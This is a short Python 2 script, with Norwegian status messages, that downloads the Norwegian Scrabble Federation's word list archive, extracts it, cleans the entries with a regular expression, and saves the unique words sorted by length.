# -*- coding: utf-8 -*-
import io, zipfile, re, os
from urllib2 import urlopen, URLError, HTTPError, build_opener
zip_file_url = 'http://www2.scrabbleforbundet.no/wp-content/uploads/2012/07/NSF-ordlisten.zip'
zipname = "NSF-ordlisten.zip"
print u'Laster ned ordlisten.'
try:
    o = build_opener()
    o.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0')]
    get = o.open(zip_file_url)
    with open(zipname, "wb") as file:
        file.write(get.read())
    file.close()
    print os.path.basename(file.name) + " lastet ned."
    print u'Pakker ut.'
    z = zipfile.ZipFile(zipname, 'r')
    z.extract(u'NSF-ordlisten.txt', './')
    z.close()
    print u'Rydder opp i ordlisten.'
    inputfile = './NSF-ordlisten.txt'
    outputfile = './NSF-sort-uni.txt'
    regex = re.compile(' [a-z]*.')
    fixedlines = []
    with io.open(inputfile, encoding='utf-8') as the_input, io.open(outputfile, 'w') as the_output:
        lines = [i.strip() for i in the_input]
        for line in lines:
            fixedlines.append(re.sub(regex, '', line))
        fixedlines = sorted(list(set(fixedlines)))
        nolines = len(fixedlines)
        for word in sorted(fixedlines, key=len):
            the_output.write(u'{}\n'.format(word))
    print u'Ferdig! Lagret ordliste av ' + str(nolines) + ' unike ord.'
except HTTPError, e:
    print "HTTP Error: " + str(e.code)
except URLError, e:
    print "URL Error: " + str(e.reason)